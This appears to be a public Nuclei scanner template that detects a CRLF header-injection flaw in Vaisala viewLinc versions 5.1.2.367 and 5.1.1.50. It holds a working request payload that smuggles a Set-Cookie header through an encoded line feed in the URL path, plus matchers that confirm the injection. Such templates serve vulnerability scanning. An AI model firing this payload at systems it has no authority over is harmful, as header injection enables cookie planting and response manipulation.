viewLinc 5.1.2.367 (and sometimes 5.1.1.50) allows remote attackers to inject a carriage return line feed (CRLF) character into the responses returned by the product, which allows attackers to inject arbitrary HTTP headers into the response returned.
PoC代码[已公开]
id: viewlinc-crlf-injection
info:
name: viewLinc 5.1.2.367 - Carriage Return Line Feed Attack
author: geeknik
severity: low
description: viewLinc 5.1.2.367 (and sometimes 5.1.1.50) allows remote attackers to inject a carriage return line feed (CRLF) character into the responses returned by the product, which allows attackers to inject arbitrary HTTP headers into the response returned.
reference:
- https://www.vaisala.com/en/products/systems/indoor-monitoring-systems/viewlinc-continuous-monitoring-system
metadata:
max-request: 1
tags: crlf,viewlinc,vuln
http:
- method: GET
path:
- "{{BaseURL}}/%0ASet-Cookie:crlfinjection=crlfinjection"
matchers-condition: or
matchers:
- type: word
words:
- "Server: viewLinc/5.1.2.367"
- "Set-Cookie: crlfinjection=crlfinjection"
part: header
condition: and
- type: word
words:
- "Server: viewLinc/5.1.1.50"
- "Set-Cookie: crlfinjection=crlfinjection"
part: header
condition: and
# digest: 4b0a00483046022100c9977049d212eef64a8272e362ea974ba1b6df0417e71250f9cfff0e2d2a3451022100dff51ae0400f85b224312e696a156fff1817832289767a1912da0dcf0e529ed9:922c64590222798bb761d5b6d8e72950